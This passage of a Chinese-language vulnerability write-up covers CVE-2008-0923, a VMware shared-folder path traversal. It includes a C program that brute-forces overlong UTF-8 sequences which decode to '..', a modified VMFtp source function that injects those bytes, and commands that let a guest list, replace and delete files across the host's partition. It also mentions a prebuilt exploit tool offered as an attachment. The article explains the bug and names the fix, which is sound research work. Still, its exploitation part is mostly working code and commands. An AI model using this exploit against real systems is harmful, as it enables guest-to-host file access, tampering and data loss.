这样一来,像上面使用过的“0xc00x2e0xc00x2e”字符串,由于包含了无效字符,就会导致MultiByteToWideChar函数调用失败了。那么,我们有没有办法构造出一个有效的多字节字符序列,而又能成功转换为Unicode UTF-16版本的“..”呢?试一试就知道了,还是让程序来帮忙吧。测试程序如下:
#include
#include
#include
int main(int argc, char* argv[])
{
unsigned int i, ans;
unsigned char buf[200];
UINT CodePage = CP_UTF8;
for (i=1; i; i++)
{
memset(buf, 0, 200);
ans = MultiByteToWideChar(CodePage,
MB_ERR_INVALID_CHARS, //8
(LPCSTR)&i,
4,
(LPWSTR)buf,
100);
if (ans && (buf[0] == '.') && (buf[1] == 0) && ((i & 0xff) != '.'))
{
printf(“%d %04x: %02x %02x %02x %02xn”, ans, i,
buf[0], buf[1], buf[2], buf[3]);
getchar(); // 找到后让程序暂停一下
}
}
return 0;
}
很快就能找到第1个字符序列是“0xc20x2e0xc20x2e”,也就是说它能够通过验证,并且成功地转换为Unicode UTF-16版本的“..”。
四 漏洞利用
现在,这两个漏洞的形成原因及利用原理已经清楚了,可是怎么样在VMware中利用呢?首先我们必须在路径名中包含这些字符,但这些字符又并非可输入字符,并且还不能经过Guest系统的Shell处理,而必须直接传递给后门才行,所以我们有两种办法可以选择:
1)直接调用VMware的后门指令,实现一个简单的“VMware Tools”,将“遍历目录”命令传递给Host,但是这就要求熟悉后门指令,而且调用过程很繁琐;
2)利用网上现有资源。VM Back Project是个极好的开放源代码工程,支持多种平台,在Windows平台上直接用VC6就能编译,它实现了一套直接调用VMware后门指令的命令行工具,并且里面列出了VMware所有已知的后门指令。其中VMFtp是一个实用的命令行程序,从名字可以猜到,它模拟了一个FTP程序,不过这个FTP只限于在Host和Guest之间传递文件。
为避繁就简,我们以VMFtp为例,讲解第2个漏洞CVE-2008-0923的利用方法。在Guest机上启动VMFtp.exe,默认就进入了共享文件夹,输入“ls”命令(相当于“dir”),将会列出所有的共享目录;假设当前有一个目录名为Share,那么运行“cd Share”,就会进入Share目录;再输入“ls”命令,就会列出Share目录下的所有文件;现在再输入“ls ..”显示上层目录,仍然是只能看到我们定义了的共享目录,可见在正常情况下VMware屏蔽了包含“0x2e0x2e”的路径。现在我们对VMFtp进行改造,把源代码vmw/src/vmshf.c中的函数ReplaceDelim修改为如下:
static void ReplaceDelim(char *str, uint32_t length, char delim)
{
while (length--)
{
if (*(str + length) == ' ' ||
*(str + length) == '/' ||
*(str + length) == '')
{
*(str + length) = delim;
}
if (*(str + length) == '+')
*(str + length) = 'xc2';
}
}
修改的目的就是要让VMFtp将我们输入的字符“+”自动替换为“0xc2”,重新编译VMFtp后运行。进入Share目录,输入“ls +.+./”,现在能看到什么呢?在Share的父目录下所有文件就都列出来了,输入“ls +.+./+.+.”,则更上一层目录的文件又都列出来了,再比如输入“ls +.+./+.+./soft”之类的路径,以此类推,这样Share目录所在整个分区的文件都在Guest机上一览无遗了,而且还能做替换、删除文件等操作。VMFtp在我的VMware 6.0.2中的Guest运行的情况如下所示:
如果这个共享目录是设在系统盘(如C盘)的话,则Host机上所有的系统文件都可以被Guest上的用户或攻击程序所任意操作,可见这个漏洞的危害还是很大的,解决办法是安装目前最新版本的VMware或者禁用共享文件夹(默认情况下为启用)。
五 动态调试
最后再简单说一下动态调试这个漏洞的方法,用OllyICE附加上正在运行的vmware-vmx.exe,然后下Kernel32.MultiByteToWideChar断点,因为MultiByteToWideChar是被VMware频繁使用的函数,所以最好用条件断点,可以根据输入字符串的长度来,我使用的条件是:eax>6&&eax<15,熟悉OllyICE的话可以根据实际运行情况作调整。在调试状态下运行上面所说的命令,就能看到MultiByteToWideChar转换前和转换后的状态了。如下所示:
转换前的状态:
转换后的状态:
附件中包含已经修改过的VMFtp.exe,可以直接在VMware 6.0.2及以前的版本上测试。
VMFtp的源代码下载:chitchat.at.infoseek.co.jp/vmware/vmw-060510.zip。
六 参考资料
1 漏洞发现者:coresecurity公司的论文。
www.coresecurity.com/content/advisory-vmware
2 VM Back Project
chitchat.at.infoseek.co.jp/vmware/
★ shopxp pinglun.asp文件SQL注入漏洞分析漏洞预警
★ dedecms 5.7 edit.inc.php文件注射漏洞预警